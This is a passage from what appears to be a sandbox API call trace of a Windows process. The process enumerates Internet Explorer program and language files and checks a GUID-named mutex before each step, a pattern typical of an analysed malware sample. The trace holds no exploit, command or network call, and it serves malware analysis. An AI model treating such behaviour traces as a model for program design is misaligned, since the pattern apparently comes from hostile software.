cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\jsprofilerui.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0058.952] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0058.952] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.952] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.952] GlobalUnlock (hMem=0x44000c) returned 0 [0058.952] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.953] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.953] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.953] GlobalUnlock (hMem=0x44000c) returned 0 [0058.953] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.953] GlobalUnlock (hMem=0x440004) returned 0 [0058.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0058.954] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0058.954] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.954] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.954] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.954] GlobalUnlock (hMem=0x440004) returned 0 [0058.954] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.954] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.954] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.954] GlobalUnlock (hMem=0x440004) returned 0 [0058.954] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.954] GlobalUnlock (hMem=0x44000c) returned 0 [0058.954] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.954] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.954] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.954] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.954] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.954] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.954] GlobalUnlock (hMem=0x44000c) returned 0 [0058.954] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.954] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.955] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.955] GlobalUnlock (hMem=0x44000c) returned 0 [0058.955] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.955] GlobalUnlock (hMem=0x440004) returned 0 [0058.955] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.955] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0058.955] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.955] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.955] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.955] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.955] GlobalUnlock (hMem=0x440004) returned 0 [0058.955] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.955] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.955] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.955] GlobalUnlock (hMem=0x440004) returned 0 [0058.955] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.955] GlobalUnlock (hMem=0x44000c) returned 0 [0058.955] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.955] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0058.955] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.955] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.955] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.955] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.955] GlobalUnlock (hMem=0x44000c) returned 0 [0058.955] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.955] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.955] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.956] GlobalUnlock (hMem=0x44000c) returned 0 [0058.956] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.956] GlobalUnlock (hMem=0x440004) returned 0 [0058.956] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.956] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0058.956] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.956] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.956] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.956] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.956] GlobalUnlock (hMem=0x440004) returned 0 [0058.956] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.956] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.956] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.956] GlobalUnlock (hMem=0x440004) returned 0 [0058.956] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.956] GlobalUnlock (hMem=0x44000c) returned 0 [0058.956] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.956] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0058.956] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.956] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.956] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.956] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.956] GlobalUnlock (hMem=0x44000c) returned 0 [0058.956] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.956] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.956] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.956] GlobalUnlock (hMem=0x44000c) returned 0 [0058.956] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.956] GlobalUnlock (hMem=0x440004) returned 0 [0058.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.957] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0058.957] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.957] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.957] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.957] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.957] GlobalUnlock (hMem=0x440004) returned 0 [0058.957] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.957] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.957] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.957] GlobalUnlock (hMem=0x440004) returned 0 [0058.957] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.957] GlobalUnlock (hMem=0x44000c) returned 0 [0058.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.957] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0058.957] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.957] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.957] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.957] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.957] GlobalUnlock (hMem=0x44000c) returned 0 [0058.957] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.957] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.957] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.957] GlobalUnlock (hMem=0x44000c) returned 0 [0058.957] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.957] GlobalUnlock (hMem=0x440004) returned 0 [0058.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.958] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0058.958] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.958] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.958] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.958] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.958] GlobalUnlock (hMem=0x440004) returned 0 [0058.958] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.958] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.958] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.958] GlobalUnlock (hMem=0x440004) returned 0 [0058.958] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.958] GlobalUnlock (hMem=0x44000c) returned 0 [0058.958] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.958] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0058.958] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.958] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.958] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.958] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.958] GlobalUnlock (hMem=0x44000c) returned 0 [0058.958] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.958] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.958] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.958] GlobalUnlock (hMem=0x44000c) returned 0 [0058.958] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.958] GlobalUnlock (hMem=0x440004) returned 0 [0058.958] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.958] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0058.958] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.958] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.959] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.959] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.959] GlobalUnlock (hMem=0x440004) returned 0 [0058.959] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.959] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.959] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.959] GlobalUnlock (hMem=0x440004) returned 0 [0058.959] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.959] GlobalUnlock (hMem=0x44000c) returned 0 [0058.959] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.959] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0058.959] GetLastError () returned 0x12 [0058.959] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0058.960] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.960] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.960] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.960] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.960] GlobalUnlock (hMem=0x44000c) returned 0 [0058.960] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.960] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.960] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.960] GlobalUnlock (hMem=0x44000c) returned 0 [0058.960] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.960] GlobalUnlock (hMem=0x440004) returned 0 [0058.960] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.960] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0058.960] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.960] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.960] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.960] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.960] GlobalUnlock (hMem=0x440004) returned 0 [0058.961] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.961] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.961] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.961] GlobalUnlock (hMem=0x440004) returned 0 [0058.961] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.961] GlobalUnlock (hMem=0x44000c) returned 0 [0058.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.961] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0058.961] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.961] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.961] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.961] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.961] GlobalUnlock (hMem=0x44000c) returned 0 [0058.961] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.961] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.961] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.961] GlobalUnlock (hMem=0x44000c) returned 0 [0058.961] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.961] GlobalUnlock (hMem=0x440004) returned 0 [0058.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.961] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0058.961] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.961] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.961] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.961] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.961] GlobalUnlock (hMem=0x440004) returned 0 [0058.962] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.962] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.962] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.962] GlobalUnlock (hMem=0x440004) returned 0 [0058.962] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.962] GlobalUnlock (hMem=0x44000c) returned 0 [0058.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.962] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0058.962] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.962] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.962] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.962] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.962] GlobalUnlock (hMem=0x44000c) returned 0 [0058.962] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.962] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.962] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.962] GlobalUnlock (hMem=0x44000c) returned 0 [0058.962] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.962] GlobalUnlock (hMem=0x440004) returned 0 [0058.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.962] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0058.962] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.962] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.962] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.962] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.962] GlobalUnlock (hMem=0x440004) returned 0 [0058.962] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.962] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.962] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.962] 